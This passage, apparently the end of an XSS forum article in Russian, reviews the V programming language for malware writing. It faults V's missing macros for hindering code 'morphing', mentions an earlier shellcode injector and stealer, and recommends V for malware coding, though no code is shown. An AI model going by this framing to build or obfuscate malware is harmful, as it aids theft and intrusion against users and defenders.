Это зашибись для корпораций, но к сожалению абсолютно убивает творчество и развитие разработчика. Именно поэтому многие хейтят Го и превозносят Раст - хочется свободы, творчества и самовыражения.

И к сожалению, я вижу что V идет этим же путем.
Очень-очень хочется, чтобы V не превратился в подобие "Го для самых маленьких", а все таки пошел своей дорогой.

Четвертое - макросы

Коротко - их нет. Вообще нет. Прям совсем нет.

Даже в разделе FAQ в репозитории написано - ребята, макросов нет и не будет никогда в V, потому что мы хотим сохранить язык простым, а с макросами каждый разработчик сможет расширять синтаксис по своему усмотрению, и невозможно будет сразу понять, что происходит в программе.

(Осторожно, опять очень субъективное мнение)
Макросы достаточно сложны для понимания, еще сложнее для написания, но при этом открывают возможности для создания DSL и заточки языка под свои конкретные задачи. Ну и позволяют код морфить как боженька, но про это сейчас не будем, это тема для отдельной статьи.

И вот вопрос - в языке нет макросов, потому что они усложнят код. Но при этом сам язык - это по сути метаязык, в котором еще и синтаксического сахара и новых модных конструкций до кучи. Так почему бы не добавить поддержку макросов в язык? Nim же добавил и все ок, никто не помер от невозможности разобраться в чужом коде.

Лично для меня - большой минус, так как ставит крест на адекватном морфинге из коробки, и придется в очередной раз изобретать велосипед.

Заключение

Статья вышла достаточно большой, я думаю пора уже закругляться.
Мы успели познакомиться с языком программирования V, посмотреть на него с разных сторон и через призму конкретно наших специфичных задач. Разобрали синтаксические особенности, плюсы и минусы, а также набросали парочку концептов - инжектор шелл кода и стилер.

Что хочу сказать в итоге. V - молодой, но достаточно интересный язык.
Честно, я думаю именно такие языки отлично подходят в качестве первого языка для изучения - потому что способов отстрелить себе ногу очень мало, язык приучает тебя к определенным стандартам с самого начала и прививает культуру кодинга: форматируй, не используй глобалы, следи за типами и так далее. И вместе с тем - не перегруженный синтаксис.

Мне очень понравилась целостность языка и как в нем организованы многие моменты - порог входа и кривая обучения будут очень мягкие, когда язык чуть повзрослеет (пока все-таки недостаточно обучающих материалов).

Также понравилась кросс компиляция из коробки и маленький вес файлов на выходе.

Те моменты, которые мне не понравились - во многом или моя личная вкусовщина и стиль кодинга, или связаны с молодостью языка и вполне могут нивелироваться в будущем.

В общем и целом, я думаю что V имеет все шансы для того, чтобы вслед за Nim дать глоток свежего воздуха в мир малваре кодинга и очень рекомендую как минимум пощупать его. Хуже точно не будет.

А я на этом прощаюсь со всеми.
С вами как обычно был Патрик, специально для XSS.
Буду рад вашим комментариям, пишите что вы думаете про V и про какой язык хотели бы прочитать в следующей статье.

Всем пис.​
 
Сверху Снизу